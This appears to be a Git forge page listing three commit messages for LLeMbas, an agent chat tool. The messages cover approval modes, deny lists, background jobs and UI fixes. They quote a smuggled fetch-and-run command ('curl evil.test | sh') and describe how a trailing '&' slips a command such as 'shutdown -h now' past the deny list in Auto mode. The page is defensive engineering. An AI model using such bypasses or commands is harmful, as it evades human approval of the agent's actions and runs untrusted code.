LLeMbas

Houmeres/LLeMbas

Fork 0

Commit Graph

Author	SHA1	Message	Date
Jaroslav Beneš	7df68eb44c	A reply you can read while it is still being written Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test \| sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest \| tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>	2026-08-04 19:02:07 +02:00
Jaroslav Beneš	7c51dc306d	Four things that failed silently in an agent chat, and an account of the work Each of the first four looked like it worked. That is what they have in common, and why the tests are written against the property rather than the markup. The job wrapper never cleaned up. `jobs.py` interpolated `{log}` -- the module logger -- where it meant `{logf}`, so every launch-and-wait wrapper ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error. It died after the sentinel, where nothing reads it, so commands still worked while every one of them left four files on the far side forever, including the log holding everything it printed. Every wrapper now goes through `sh -n`. The approval card could show something other than what ran. The card did a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback put the raw string into the tool's first required parameter, which for `shell_run` is the command. So invalid JSON -- a normal path with small models -- produced a card headed "Run a command" with an empty body, and `policy.decide` was handed an empty command line matching neither list. Arguments are parsed once now, in `tools.parse_arguments`, and the same dict reaches the card, the policy and the runner. One character walked past the deny list. `subject()` yields nothing for a command line carrying a metacharacter, which is what stops `git ` also meaning `git status; curl evil.test \| sh`. The note said a deny list needed no such care because failing open returns you to the mode -- true of Manual, Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now` asked; `shutdown -h now &` ran. "Always allow this" allowed nothing.* The verdict was accepted, treated as permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from patterns derived server-side from the approved item -- the endpoint takes an id and a verdict and nothing else -- and the list is shown in the scope menu with a Clear beside it. Two more found while fixing them: A reply could grow its request past the window with nothing watching. Compaction runs once, before the first round. The only other guard defaults to a megabyte, larger than the window of nearly every model this talks to. `_too_big` stops between rounds now, and the estimate it reads is recomputed per round rather than once -- which is also what the metrics report on every endpoint that sends no usage block. The harness ceiling was dropping AGENTS.md. 8000 characters, against ~7,900 of fragments plus the 2,000 and 4,000 the index and instruction budgets grant by default. `assemble` cuts the tail, so on a default install the project listing was severed and the project's own instructions never reached the model at all. And, because an agent that works for ten minutes should be readable while it does: Every action says what it is for. `shell_run`, `file_write`, `file_edit` and `job_stop` take a `why`: one line, carried onto the approval card above the command and into the transcript's summary line rather than its collapsed body. Auto mode is the case it exists for -- nothing stops for approval there, so without it a reader watches a list of commands with no account of any of them until the reply ends. Kept apart from the reason we stopped: an explanation a reader takes for the application's own would be LLeMbas vouching for text a model wrote. And the reply says what it is doing as it goes. `core.objective` and `core.narrate`, both agent-only. The second is deliberately the opposite of `core.tools_preamble`'s "do not announce that you are about to", which is right for a short answer -- read once it is finished -- and wrong for a long piece of work, which is watched while it runs. It says so in its own words rather than referring to a fragment an administrator may have cleared. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>	2026-08-03 21:59:19 +02:00
Jaroslav Beneš	b39e4eac88	A reply can stop and ask you something Three features turn out to be one mechanism: a command waiting to be approved, a question the model wants answered, and "this reply is waiting for you" are all — stop the generation, put an interactive block in the bubble, wait for a POST, carry on. So there is one primitive, and the only thing using it so far is `ask_user`: a model can offer you a few answers and a box to write your own. The shell executor is not here yet. This lands first on purpose, because it is the riskiest machinery in the feature and it is worth having working before any subprocess exists to complicate it. Two things about where the pause sits. It pauses a round, not a call: a round's calls run together under a semaphore, and parking four coroutines on four separate answers inside that gather would queue them behind each other invisibly. And Stop had to be taught about it — `cancel` is read between streamed chunks and there are no chunks while paused, so the button did nothing at all until `request_stop` learned to resolve the pause itself. Also here: a risk class on every tool (read, write, execute), which is what the four permission modes will be a table over, and the systemd unit loses ProtectKernelTunables. That last one is not tidying — it bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at all, and the obvious workaround would expose this process's environment and with it the encryption key. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>	2026-08-01 19:30:44 +02:00

Author

SHA1

Message

Date

Jaroslav Beneš

7df68eb44c

A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

2026-08-04 19:02:07 +02:00

Jaroslav Beneš

7c51dc306d

Four things that failed silently in an agent chat, and an account of the work

Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

2026-08-03 21:59:19 +02:00

Jaroslav Beneš

b39e4eac88

A reply can stop and ask you something

Three features turn out to be one mechanism: a command waiting to be
approved, a question the model wants answered, and "this reply is waiting
for you" are all — stop the generation, put an interactive block in the
bubble, wait for a POST, carry on. So there is one primitive, and the only
thing using it so far is `ask_user`: a model can offer you a few answers
and a box to write your own.

The shell executor is not here yet. This lands first on purpose, because
it is the riskiest machinery in the feature and it is worth having working
before any subprocess exists to complicate it.

Two things about where the pause sits. It pauses a round, not a call: a
round's calls run together under a semaphore, and parking four coroutines
on four separate answers inside that gather would queue them behind each
other invisibly. And Stop had to be taught about it — `cancel` is read
between streamed chunks and there are no chunks while paused, so the
button did nothing at all until `request_stop` learned to resolve the
pause itself.

Also here: a risk class on every tool (read, write, execute), which is
what the four permission modes will be a table over, and the systemd unit
loses ProtectKernelTunables. That last one is not tidying — it
bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at
all, and the obvious workaround would expose this process's environment
and with it the encryption key.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

2026-08-01 19:30:44 +02:00

3 Commits